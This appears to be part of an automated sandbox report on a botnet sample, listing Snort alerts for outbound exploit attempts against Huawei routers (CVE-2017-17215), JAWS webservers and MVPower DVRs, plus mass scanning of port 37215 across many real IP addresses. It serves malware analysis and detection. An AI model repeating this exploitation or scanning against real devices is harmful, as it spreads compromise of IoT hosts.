Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39306 -> 156.235.99.60:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39306 -> 156.235.99.60:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40828 -> 74.192.141.13:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40808 -> 74.192.141.13:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43622 -> 108.175.123.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52942 -> 43.240.49.18:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57234 -> 45.207.75.27:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56604 -> 161.111.63.218:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47330 -> 23.202.24.22:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35042 -> 78.47.233.99:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43622 -> 108.175.123.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57072 -> 147.47.116.116:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52942 -> 43.240.49.18:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57862 -> 35.157.77.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57234 -> 45.207.75.27:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57226 -> 52.49.43.91:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41946 -> 188.128.159.3:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48720 -> 193.22.248.237:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47330 -> 23.202.24.22:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35042 -> 78.47.233.99:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57440 -> 45.207.75.27:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42404 -> 202.87.217.44:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50562 -> 95.209.128.5:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57862 -> 35.157.77.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57226 -> 52.49.43.91:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41946 -> 188.128.159.3:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48720 -> 193.22.248.237:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57440 -> 45.207.75.27:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42404 -> 202.87.217.44:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50562 -> 95.209.128.5:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35162 -> 75.103.70.104:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40942 -> 23.81.84.72:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35162 -> 75.103.70.104:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43836 -> 173.243.14.101:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35536 -> 13.33.164.127:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40928 -> 18.245.56.167:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60514 -> 92.54.13.41:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33652 -> 39.105.219.99:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42886 -> 195.164.227.51:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56592 -> 106.120.182.166:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45166 -> 89.151.135.181:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40942 -> 23.81.84.72:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43836 -> 173.243.14.101:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35536 -> 13.33.164.127:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40928 -> 18.245.56.167:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60514 -> 92.54.13.41:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33652 -> 39.105.219.99:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56592 -> 106.120.182.166:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45166 -> 89.151.135.181:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44914 -> 96.74.81.73:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45474 -> 13.226.190.230:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52522 -> 190.166.143.122:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35758 -> 93.242.171.185:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52834 -> 5.188.88.39:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44914 -> 96.74.81.73:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52522 -> 190.166.143.122:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58094 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35758 -> 93.242.171.185:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52834 -> 5.188.88.39:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49288 -> 72.52.64.48:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45180 -> 156.241.117.155:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45180 -> 156.241.117.155:37215
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58094 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49288 -> 72.52.64.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35284 -> 212.57.38.177:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56686 -> 13.227.200.135:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45474 -> 13.226.190.230:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35284 -> 212.57.38.177:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56686 -> 13.227.200.135:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56638 -> 172.65.192.203:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54972 -> 76.53.156.26:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57620 -> 45.207.75.27:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38032 -> 174.138.8.3:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56638 -> 172.65.192.203:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54972 -> 76.53.156.26:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37298 -> 188.131.28.55:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51338 -> 222.107.28.19:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57620 -> 45.207.75.27:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38032 -> 174.138.8.3:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59856 -> 188.128.178.31:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38216 -> 202.31.182.14:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40734 -> 39.106.19.0:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37298 -> 188.131.28.55:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59856 -> 188.128.178.31:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38216 -> 202.31.182.14:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40734 -> 39.106.19.0:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48560 -> 140.248.164.226:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48560 -> 140.248.164.226:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39136 -> 104.167.72.190:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45764 -> 199.250.209.11:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58490 -> 190.253.246.27:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55714 -> 78.4.115.21:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39136 -> 104.167.72.190:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45764 -> 199.250.209.11:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58732 -> 91.201.55.87:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45076 -> 64.79.180.67:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43274 -> 38.152.60.111:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58490 -> 190.253.246.27:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44568 -> 179.53.185.182:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55412 -> 210.99.38.20:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34552 -> 13.33.218.4:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40826 -> 45.40.228.134:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43618 -> 138.201.205.149:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55714 -> 78.4.115.21:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60084 -> 59.111.246.132:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58732 -> 91.201.55.87:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43274 -> 38.152.60.111:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44568 -> 179.53.185.182:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60138 -> 116.211.203.36:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35790 -> 18.161.121.135:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34578 -> 160.124.63.244:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34552 -> 13.33.218.4:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40826 -> 45.40.228.134:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43618 -> 138.201.205.149:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60084 -> 59.111.246.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60420 -> 23.32.107.86:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60138 -> 116.211.203.36:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59206 -> 102.134.8.105:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34578 -> 160.124.63.244:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35790 -> 18.161.121.135:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59206 -> 102.134.8.105:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47706 -> 38.182.162.36:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55322 -> 182.214.1.81:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54682 -> 134.180.249.204:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47706 -> 38.182.162.36:80

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54120
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54122
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54138
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54140
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54142
Source: unknown	Network traffic detected: HTTP traffic on port 51554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54168
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54178
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54208
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54246
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54248
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54332
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54346
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54364
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54374
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54362
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54394
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54484
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54490
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54490
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54494
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54400
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54726
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54740
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54754
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54758
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54786
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54796
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54800
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54804
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54808
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54812
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54852
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54808
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54874
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54842
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54900
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54904
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54906
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54914
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54934
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54942
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54954
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54960
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54984
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54990
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55002
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55008
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55018
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55126
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55130
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55132
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55144
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55164
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55170
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55362
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55390
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55438
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55450
Source: unknown	Network traffic detected: HTTP traffic on port 45180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55480
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55514
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55530
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55548
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56908 -> 37215

Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.157.159.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.64.96.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.219.123.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.189.50.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.61.112.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.9.59.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.118.205.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.211.123.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.149.229.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.101.1.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.99.160.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.126.10.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.145.240.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.195.96.192:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.152.245.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.72.110.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.19.228.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.207.22.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.176.212.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.236.105.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.161.138.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.122.37.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.183.48.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.129.225.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.95.216.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.178.139.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.115.219.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.58.21.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.151.55.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.211.30.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.197.19.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.192.222.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.228.7.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.122.215.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.205.242.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.151.46.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.170.154.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.172.138.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.43.10.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.209.20.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.17.248.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.253.102.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.130.144.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.243.171.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.55.198.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.241.185.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.253.19.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 156.229.73.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.112.136.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.217.6.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.82.247.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.79.15.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.11.234.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.89.228.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.197.235.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.178.70.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 197.23.240.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.96.177.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:5975 -> 41.179.53.62:37215
